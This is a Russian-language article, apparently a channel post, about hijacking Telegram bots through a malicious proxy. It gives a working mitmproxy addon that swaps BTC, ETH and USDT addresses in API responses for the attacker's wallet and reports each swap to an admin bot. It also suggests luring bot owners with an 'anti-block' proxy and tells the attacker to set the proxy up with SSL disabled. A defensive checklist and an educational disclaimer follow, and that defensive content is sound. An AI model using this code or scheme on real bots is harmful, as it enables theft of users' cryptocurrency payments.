Аннотация: Многие Telegram-боты, особенно связанные с криптовалютами, используют HTTP-запросы для взаимодействия с внешними API. В этой статье мы разберем, как на этом можно построить MITM-атаку для подмены кошельков, чеков и перехвата данных, почему это работает, и какие меры защиты стоит применять разработчикам и пользователям. Рассмотрим реализацию на Python с использованием mitmproxy.
Введение: Суть проблемы
Telegram-боты стали неотъемлемой частью экосистемы — от новостных каналов до торговых платформ. Однако архитектура многих ботов, особенно тех, что используют популярные библиотеки вроде aiogram или python-telegram-bot, часто подразумевает выполнение внешних HTTP-запросов для обработки команд (например, для проверки баланса или генерации платежного адреса).
Если такой бот использует сторонний HTTP/HTTPS-прокси, все его запросы и ответы проходят через промежуточный сервер. Это открывает возможность для атаки «человек посередине» (MITM), когда злоумышленник может не только перехватывать, но и модифицировать трафик в реальном времени. На практике это может привести к подмене криптокошельков, платежных реквизитов или токенов доступа.
В статье рассматривается принцип работы такой атаки и ее техническая реализация в образовательных целях — чтобы разработчики и администраторы понимали риски и могли их минимизировать.
Как работает MITM в контексте Telegram-бота?
Основная идея проста: если бот использует настроенный в его коде HTTP-прокси, весь его исходящий и входящий трафик прохо��ит через указанный прокси-сервер. Если этот сервер контролируется злоумышленником, он получает возможность:
Просматривать все HTTP-запросы и ответы.
Анализировать их на наличие определенных паттернов (номеров кошельков, крипто-чеков, API-ключей).
Подменять данные в запросах или ответах на лету.
Почему это возможно?
· Открытый трафик: Многие боты делают запросы по HTTP (или даже HTTPS, если прокси используется для обхода блокировок, а сертификат доверен) без дополнительного шифрования полезной нагрузки.
· Доверие к прокси: Код бота явно указывает использовать прокси, тем самым доверяя ему весь свой трафик.
· Уязвимость на стороне интеграции: Часто разработчики ботов не валидируют и не подписывают критические данные (номера кошельков), получаемые от внешних API, что позволяет бесшумно заменить их в потоке.
Важно: Атака не связана с уязвимостью самого Telegram или его протокола MTProto. Она целиком эксплуатирует доверие бота к настроенному прокси-серверу и особенности реализации его внешних взаимодействий.
Архитектура Proof-of-Concept реализации
В качестве примера рассмотрим учебную реализацию (PoC) на Python. Ее основные компоненты:
· Ядро перехвата (mitmproxy): Используется библиотека mitmproxy для создания прозрачного прокси-сервера. Пишется кастомный addon, который анализирует трафик.
· Логика подмены: В ответах от внешних API (например, от криптобиржи или платежного шлюза) ищутся строки, соответствующие шаблонам криптоадресов (BTC, ETH, USDT TRC20) или форматам чеков. Найденные значения заменяются на адреса злоумышленника.
· Админ-интерфейс (aiogram): Управление сервером (смена подменяемых адресов, просмотр логов, статистика) вынесено в отдельного Telegram-бота. Это позволяет оперативно контролировать атаку.
· Система уведомлений: Бот-админка присылает оповещения о успешной подмене или перехвате чувствительных данных.
Схема работы:
Жертва (администратор бота) добавляет в конфигурацию своего бота «вредоносный» прокси-сервер (например, под предлогом обхода блокировки РКН).
Все запросы от бота к внешнему миру идут через наш mitmproxy.
Аддон анализирует JSON/XML/текстовые ответы от API, подменяет целевые строки и передает модифицированный ответ боту.
Бот, ничего не подозревая, показывает пользователю подмененный кошелек.
Технические детали и код
Основная логика обработчика для mitmproxy может выглядеть так (упрощенно):
from mitmproxy import http, ctx
import re
class WalletSwapper:
def __init__(self):
self.target_wallet = "YOUR_MALICIOUS_WALLET_HERE"
def response(self, flow: http.HTTPFlow) -> None:
# Проверяем, что ответ JSON и от целевого API
if "application/json" in flow.response.headers.get("content-type", ""):
original_text = flow.response.get_text()
# Ищем криптоадреса по простым паттернам
patterns = [
r'\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b', # BTC Legacy
r'\b0x[a-fA-F0-9]{40}\b', # ETH, BSC, etc.
r'\bT[A-Za-z1-9]{33}\b', # USDT TRC20
]
for pattern in patterns:
if re.search(pattern, original_text):
# Заменяем все найденные адреса на свой
modified_text = re.sub(pattern, self.target_wallet, original_text)
flow.response.set_text(modified_text)
ctx.log.info(f"Подменен кошелек в ответе от {flow.request.pretty_url}")
# Отправляем уведомление в админ-бота
self.notify_admin(flow.request.pretty_url)
break
def notify_admin(self, url: str):
# Здесь код отправки сообщения через Telegram Bot API
pass
addons = [WalletSwapper()]
Меры защиты: для разработчиков и пользователей
Для разработчиков ботов:
Никогда не доверяйте сторонним прокси. Если обход блокировок необходим, используйте надежные VPN на уровне ОС или выделенные trusted proxy.
Всегда используйте HTTPS и строгую проверку SSL-сертификатов. Отключайте проверки только в крайних случаях.
Цифровая подпись данных. Критические данные (кошельки, суммы) от внешних API должны быть подписаны, а бот должен проверять эту подпись.
Валидация и санитизация. Проверяйте форматы получаемых данных на стороне бота.
Принцип минимальных привилегий. Токены и ключи API, которые использует бот, должны иметь ограниченный набор прав.
Для пользователей и администраторов ботов:
Проверяйте реквизиты. При крупных переводах всегда перепроверяйте адрес кошелька через несколько независимых источников (веб-сайт, мобильное приложение).
Остерегайтесь «волшебных» прокси. Не используйте непроверенные прокси-адреса, особенно если их предлагают третьи лица для «улучшения работы» или «обхода блокировок».
Двухфакторная аутентификация (2FA). Включайте 2FA везде, где это возможно, чтобы усложнить компрометацию аккаунта.
Заключение
Рассмотренный сценарий MITM-атаки наглядно демонстрирует, что уязвимость часто кроется не в ядре системы (Telegram), а на ее периферии — в способе интеграции с внешними сервисами и в излишнем доверии к сетевым компонентам.
Подобные атаки, от классического proxy-clipper до сложных MITM-инструментов, остаются эффективными именно из-за пренебрежения базовыми принципами безопасности. Понимание механизмов таких атак — первый и crucial шаг к построению надежной защиты.
Важное напоминание: Информация в этой статье представлена исключительно в образовательных и исследовательских целях. Использование подобных техник для причинения ущерба является противозаконным
P.S. Если вам интересны технические разборы уязвимостей и методы защиты, подписывайтесь на мой канал (https://t.me/rootlocalhostvibe (Прямо сейчас, например, я делаю учебный стенд для ransomware)). Исходный код учебного PoC, как всегда, доступен в репозитории (https://github.com/a11mut3d/Telegrambot-MITM) для анализа и улучшения практик безопасности.
UPD: Важное техническое уточнение о SSL
В процессе написания статьи, я забыл уточнить, что такие библиотеки aiogram и telebot поддерживают отключение SSL и полное доверие нашему proxy. Поэтому наш proxy надо вставлять именно с отключенным SSL. Спасибо комментаторами, что напомнили.
